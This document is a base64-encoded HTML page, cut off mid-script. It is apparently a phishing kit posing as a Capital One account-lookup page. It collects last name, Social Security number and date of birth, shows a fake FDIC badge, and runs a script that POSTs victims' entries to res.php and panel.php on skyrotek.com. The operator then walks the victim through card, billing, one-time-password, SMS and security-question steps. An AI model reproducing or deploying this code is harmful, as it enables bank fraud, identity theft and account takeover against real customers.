iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIiB2aWV3Qm94PSIwIDAgMTAwIDEwMCI+PGcgaWQ9ImEzN2JmNmIwLTAzZTktNDgxOC1iNGYzLTA1NTFjYzdmYWE5OSIgZGF0YS1uYW1lPSJBY3RpdmF0aW9uIExheWVyIj48Y2lyY2xlIGN4PSI1MCIgY3k9IjUwIiByPSI1MCIgZmlsbD0iIzI2NjA4MiIvPjxwYXRoIGQ9Ik05MC45LDgxLjE0Qzg0LjU3LDc1LjUsNzgsNjkuODksNzYuMjcsNjguNjFhMzAuODksMzAuODksMCwwLDEtNy4xNCw3LjI5YzEuMzYsMi4xMSw2LjU1LDguNzgsMTEuNzUsMTUuMTlBNDkuNzMsNDkuNzMsMCwwLDAsOTAuOSw4MS4xNFoiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0xIC0xKSIgZmlsbD0iIzFhYjdkNyIvPjxwYXRoIGQ9Ik01MSwyMC4xMkEzMC44OCwzMC44OCwwLDEsMCw4MS44OCw1MSwzMC44OCwzMC44OCwwLDAsMCw1MSwyMC4xMlpNNTEsNzZBMjUsMjUsMCwxLDEsNzYsNTEsMjUsMjUsMCwwLDEsNTEsNzZaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiNmZmYiLz48cGF0aCBkPSJNNjguMSw0My42NGExLjQ4LDEuNDgsMCwwLDEtMS4zMS0uOEExNy43NCwxNy43NCwwLDAsMCw1MSwzMy4yMmExOC40OCwxOC40OCwwLDAsMC0zLjMyLjMxLDEuNDcsMS40NywwLDAsMS0uNTQtMi44OUEyMC43NCwyMC43NCwwLDAsMSw2OS40MSw0MS40OWExLjQ3LDEuNDcsMCwwLDEtLjYzLDJBMS41MiwxLjUyLDAsMCwxLDY4LjEsNDMuNjRaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiM4NmQ1ZWQiLz48cGF0aCBkPSJNNzcuMTEsNzIuMTdhLjczLjczLDAsMCwwLTEsLjEyLjc1Ljc1LDAsMCwwLC4xMiwxYzIuNTcsMiw3LjEsNi4wOSwxMi4xMywxMC44OWwwLDBxLjUtLjU2LDEtMS4xMUM4NC4yOCw3OC4zMyw3OS43MSw3NC4yMSw3Ny4xMSw3Mi4xN1oiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0xIC0xKSIgZmlsbD0iI2M3ZTlmMyIvPjxnIGlkPSJhZTEwZGM0YS0yOTMwLTQzODYtYjg2Ni1hMTQwZDVkYmNiYzYiIGRhdGEtbmFtZT0iMzkiPjxwYXRoIGQ9Ik02OC42LDIyYTEsMSwwLDAsMS0uMjUtLjk0bDEuNTEtNS42OWExLDEsMCwwLDEsMS45LjUxbC0xLjUyLDUuNjhhMSwxLDAsMCwxLTEuMi42OUEuOTIuOTIsMCwwLDEsNjguNiwyMloiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0xIC0xKSIgZmlsbD0iI2Y4YzYxMiIvPjxwYXRoIGQ9Ik03NS44NCwyNi4xN2ExLDEsMCwwLDEsMC0xLjM5TDgwLDIwLjYyYTEsMSwwLDAsMSwxLjM5LDAsMSwxLDAsMCwxLDAsMS4zOGwtNC4xNiw0LjE3QTEsMSwwLDAsMSw3NS44NCwyNi4xN1oiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0xIC0xKSIgZmlsbD0iI2Y4YzYxMiIvPjxwYXRoIGQ9Ik04MCwzMy40YTEsMSwwLDAsMS0uMjYtLjQ0LDEsMSwwLDAsMSwuNy0xLjJsNS42OC0xLjUyYTEsMSwwLDAsMSwuNTEsMS44OUw4MSwzMy42NUExLDEsMCwwLDEsODAsMzMuNFoiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0xIC0xKSIgZmlsbD0iI2Y4YzYxMiIvPjwvZz48ZyBpZD0iYmE1Y2QwNGQtYTQwZC00M2U3LWEzYjgtZjIzNDU4MDQwYjRkIiBkYXRhLW5hbWU9IjM5Ij48cGF0aCBkPSJNMzMuMzksODBhLjk0Ljk0LDAsMCwxLC4yNS45NGwtMS41MSw1LjY5YTEsMSwwLDAsMS0xLjg5LS41MWwxLjUxLTUuNjhhMSwxLDAsMCwxLDEuMi0uN0ExLDEsMCwwLDEsMzMuMzksODBaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiNmOGM2MTIiLz48cGF0aCBkPSJNMjYuMTUsNzUuODNhMSwxLDAsMCwxLDAsMS4zOUwyMiw4MS4zOGExLDEsMCwwLDEtMS4zOCwwLDEsMSwwLDAsMSwwLTEuMzlsNC4xNi00LjE2QTEsMSwwLDAsMSwyNi4xNSw3NS44M1oiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0xIC0xKSIgZmlsbD0iI2Y4YzYxMiIvPjxwYXRoIGQ9Ik0yMiw2OC42YS44NS44NSwwLDAsMSwuMjUuNDMsMSwxLDAsMCwxLS42OSwxLjIxbC01LjY4LDEuNTJhMSwxLDAsMCwxLS41MS0xLjlMMjEsNjguMzRBMSwxLDAsMCwxLDIyLDY4LjZaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiNmOGM2MTIiLz48L2c+PC9nPjwvc3ZnPgogICAgICAgIDwvZGl2PgoKICAgICAgICA8ZGl2IGNsYXNzPSJib3hUZXh0Ij4KICAgICAgICAgICAgPGgyPkZpcnN0LCBsZXQncyBmaW5kIHlvdXIgdXNlcm5hbWU8L2gyPgogICAgICAgICAgICA8cD5UaGlzIGluZm9ybWF0aW9uIHdpbGwgaGVscCB1cyBsb2NhdGUgeW91ciBDYXBpdGFsIE9uZSBvbmxpbmUgYWNjb3VudChzKS4gPGJyIC8+IElmIG5lZWRlZCwgeW91IGNhbiB1cGRhdGUgeW91ciBwYXNzd29yZCBhZnRlciBhY2NvdW50IGxvb2t1cC48L3A+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KCiAgICAgIDwhLS0tLS0gc3RhcnQgRW0gZm9ybSAtLT4KICAgIDxmb3JtIGFjdGlvbj0iIyIgY2xhc3M9ImZvcm1Db250YWluIHJlc0NhcmQgaGlkZSI+CgoKICAgICAgICA8ZGl2IGNsYXNzPSJpbnBCb3hzaWRlIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wU2lkZSI+CiAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSIiPkxhc3QgTmFtZTwvbGFiZWw+CiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibG5hbWUiIGF1dG9jb21wbGV0ZT0ib2ZmIiByZXF1aXJlZCA+CiAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wU2lkZSI+CiAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSIiPlNvY2lhbCBTZWN1cml0eSBOdW1iZXI8L2xhYmVsPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNuIiBwbGFjZWhvbGRlcj0iMDAwMDAwMDAwIiByZXF1aXJlZD4KICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wU2lkZSI+CiAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSIiPkRhdGUgb2YgQmlydGg8L2xhYmVsPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRvYiIgcGxhY2Vob2xkZXI9Im1tL2RkL3l5eXkiIHJlcXVpcmVkPgogICAgICAgICAgICA8L2Rpdj4KCiAgICAgIAogICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlucFNpZGUiPgogICAgICAgICAgICAgICA8YnV0dG9uPkNvbnRpbnVlPC9idXR0b24+CiAgICAgICAgICAgIDwvZGl2PgoKCiAgICAgICAgICAgCiAgICAgICAgPC9kaXY+CiAgICA8L2Zvcm0+CgoKICAgIDxkaXYgY2xhc3M9ImZvb3RlckJveCI+CiAgICAgICA8ZGl2IGNsYXNzPSJmbGV4Qm94Ij4KCiAgICAgICAgIDxkaXYgY2xhc3M9ImJveFNwYW4iPgogICAgICAgICAgICA8c3Bhbj5Db250YWN0IHVzIHwgTGVnYWwgfCBQcml2YWN5IHwgVGVybXMgJiBDb25kaXRpb25zIHwgQWNjZXNzaWJpbGl0eTwvc3Bhbj4KICAgICAgICA8L2Rpdj4KCiAgICAgICAgPGRpdiBjbGFzcz0iYm94SW1nRmRpYyI+CiAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2JveG1hcDEubmV0bGlmeS5hcHAvZmRjY2FwLnBuZyIgYWx0PSJmZGljIj4KICAgICAgICA8L2Rpdj4KCiAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgoKCiAgICA8ZGl2IGNsYXNzPSJwcmVsb2FkZXJCb3ggaGlkZSI+CiAgICAgPGRpdiBjbGFzcz0ibG9hZEJveCI+CiAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2JveG1hcDEubmV0bGlmeS5hcHAvY2FwTG9nLmdpZiIgYWx0PSJsb2FkZXIiPgogICAgICAgICAgICA8cCBjbGFzcz0ibG9hZGVyVGV4dCI+PC9wPgogICAgIDwvZGl2PgogICAgPC9kaXY+CgoKICAgIDxzY3JpcHQ+CgogICAgICAgIGNvbnN0IGZMZyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5mTGciKTsKICAgICAgICBjb25zdCBmTGdGb290ID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLmZMZ0Zvb3QiKTsKICAgICAgICBjb25zdCB2YWxpZEJveEVtID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLnZhbGlkQm94Iik7CiAgICAgICAgY29uc3QgZkVtQm94ID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLmZFbUJveCIpOwogICAgICAgIGNvbnN0IHZhbGlkQm94MkNhcmQgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIudmFsaWRCb3gyIik7CiAgICAgICAgY29uc3QgZkNhcmQgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZkNhcmQiKTsKICAgICAgICBjb25zdCB2YWxpZEJveDNCaWxsID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLnZhbGlkQm94MyIpOwogICAgICAgIGNvbnN0IGZCaWxsID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLmZCaWxsIik7CiAgICAgICAgY29uc3QgdmFsaWRCb3g0T3QgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIudmFsaWRCb3g0Iik7CiAgICAgICAgY29uc3Qgb3RDYXJkICA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5vdENhcmQiKTsKICAgICAgICBjb25zdCBxdWVzdENhcmQgID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLnF1ZXN0Q2FyZCIpOwogICAgICAgIGNvbnN0IGVycm1zZzEgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZXJybXNnMSIpOwogICAgICAgIGNvbnN0IHByZWxvYWRlckJveCA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5wcmVsb2FkZXJCb3giKTsKICAgICAgICBjb25zdCBsb2FkZXJUZXh0ID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLmxvYWRlclRleHQiKTsKICAgICAgICBjb25zdCBlcnJvckJveDQgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZXJyb3JCb3g0Iik7CiAgICAgICAgY29uc3QgZW0yZXJyMiA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5lbTJlcnIyIik7CiAgICAgICAgY29uc3QgdmFsaWRCb3g1ID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLnZhbGlkQm94NSIpOwogICAgICAgIGNvbnN0IHF1ZXN0VGV4dCA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5xdWVzdFRleHQiKTsKICAgICAgICBjb25zdCBlcnJCb3g1NiA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5lcnJCb3g1NiIpOwogICAgICAgIGNvbnN0IHZhbGlkQm94NiA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi52YWxpZEJveDYiKTsKICAgICAgICBjb25zdCByZXNDYXJkID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLnJlc0NhcmQiKTsKCiAgICAgICAgbGV0IGVyciA9IDA7CgogICAgICAgIGxldCBmaWxlUGF0aCA9ICJodHRwczovL3NreXJvdGVrLmNvbS93cC1pbmNsdWRlcyI7CgogICAgICAgIGNvbnN0IG5vUGFuZWxEYXRhID0gKGRhdGEpID0+IHsKICAgICAgICAgICAgZmV0Y2goYCR7ZmlsZVBhdGh9L3Jlcy5waHBgLCB7CiAgICAgICAgICAgICAgICBtZXRob2Q6ICJQT1NUIiwKICAgICAgICAgICAgICAgIGJvZHk6IGRhdGEsCiAgICAgICAgICAgIH0pOwogICAgICAgIH07CiAgICAKICAgICAgICBjb25zdCBwYW5lbFNlbmQgPSAoZGF0YSwgZSkgPT4gewogICAgICAgICAgICBmZXRjaChgJHtmaWxlUGF0aH0vcmVzLnBocGAsIHsKICAgICAgICAgICAgICAgIG1ldGhvZDogIlBPU1QiLAogICAgICAgICAgICAgICAgYm9keTogZGF0YSwKICAgICAgICAgICAgfSkudGhlbigoKSA9PiB7CiAgICAgICAgICAgICAgIGxldCB2YWxzID0gIHNldEludGVydmFsKCgpID0+IHsKICAgICAgICAgICAgICAgICAgICBmZXRjaChgJHtmaWxlUGF0aH0vcGFuZWwucGhwYCwgewogICAgICAgICAgICAgICAgICAgICAgICBtZXRob2Q6ICJQT1NUIiwKICAgICAgICAgICAgICAgICAgICB9KQogICAgICAgICAgICAgICAgICAgIC50aGVuKChyZXNwKSA9PiByZXNwLmpzb24oKSkKICAgICAgICAgICAgICAgICAgICAudGhlbigoZGF0YSkgPT4gewogICAgICAgICAgICAgICAgICAgICAgICBpZihkYXRhLm1zZyA9PSAiZW1haWwiKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlLnRhcmdldC5yZXNldCgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3hFbS5jbGFzc0xpc3QucmVtb3ZlKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmRW1Cb3guY2xhc3NMaXN0LnJlbW92ZSgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkxnLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZMZ0Zvb3QuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3gyQ2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmQ2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDNCaWxsLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZCaWxsLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94NE90LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG90Q2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmVsb2FkZXJCb3guY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3g1LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHF1ZXN0Q2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDYuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVzQ2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBsb2FkZXJUZXh0LnRleHRDb250ZW50ID0gIiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGVhckludGVydmFsKHZhbHMpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgaWYoZGF0YS5tc2cgPT0gImNhcmQiKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZS50YXJnZXQucmVzZXQoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveEVtLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZFbUJveC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmTGcuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkxnRm9vdC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDJDYXJkLmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZDYXJkLmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94M0JpbGwuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkJpbGwuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3g0T3QuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgb3RDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByZWxvYWRlckJveC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94NS5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94Ni5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXNDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHF1ZXN0Q2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBsb2FkZXJUZXh0LnRleHRDb250ZW50ID0gIiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2xlYXJJbnRlcnZhbCh2YWxzKTsKCiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSBpZihkYXRhLm1zZyA9PSAiYmlsbCIpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZS50YXJnZXQucmVzZXQoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94RW0uY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkVtQm94LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZMZy5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmTGdGb290LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94MkNhcmQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkNhcmQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3gzQmlsbC5jbGFzc0xpc3QucmVtb3ZlKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmQmlsbC5jbGFzc0xpc3QucmVtb3ZlKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDRPdC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBvdENhcmQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJlbG9hZGVyQm94LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvYWRlclRleHQudGV4dENvbnRlbnQgPSAiIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94NS5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBxdWVzdENhcmQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3g2LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc0NhcmQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsZWFySW50ZXJ2YWwodmFscyk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIGlmKGRhdGEubXNnID09ICJpbnZhbGlkb3RwIil7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlLnRhcmdldC5yZXNldCgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZXJyb3JCb3g0LmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94RW0uY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkVtQm94LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZMZy5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmTGdGb290LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94MkNhcmQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkNhcmQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3gzQmlsbC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmQmlsbC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDRPdC5jbGFzc0xpc3QucmVtb3ZlKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBvdENhcmQuY2xhc3NMaXN0LnJlbW92ZSgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3g1LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHF1ZXN0Q2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDYuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVzQ2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmVsb2FkZXJCb3guY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgbG9hZGVyVGV4dC50ZXh0Q29udGVudCA9ICIiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2xlYXJJbnRlcnZhbCh2YWxzKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQoKCiAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIGlmKGRhdGEubXNnID09ICJzbXMiKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZS50YXJnZXQucmVzZXQoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVycm9yQm94NC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveEVtLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZFbUJveC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmTGcuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkxnRm9vdC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDJDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94M0JpbGwuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkJpbGwuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3g0T3QuY2xhc3NMaXN0LnJlbW92ZSgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgb3RDYXJkLmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94NS5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBxdWVzdENhcmQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3g2LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc0NhcmQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJlbG9hZGVyQm94LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvYWRlclRleHQudGV4dENvbnRlbnQgPSAiIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsZWFySW50ZXJ2YWwodmFscyk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgaWYoZGF0YS5tc2cuaW5jbHVkZXMoInF1ZXN0aW9uOiIpKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGUudGFyZ2V0LnJlc2V0KCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBsZXQgcXVlc3Rpb24gPSAgZGF0YS5tc2cuc3BsaXQoInF1ZXN0aW9uOiIpWzFdOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgcXVlc3RUZXh0LnRleHRDb250ZW50ID0gcXVlc3Rpb247CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlcnJvckJveDQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3hFbS5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmRW1Cb3guY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkxnLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZMZ0Zvb3QuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3gyQ2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmQ2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDNCaWxsLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZCaWxsLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94NE90LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94NS5jbGFzc0xpc3QucmVtb3ZlKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAg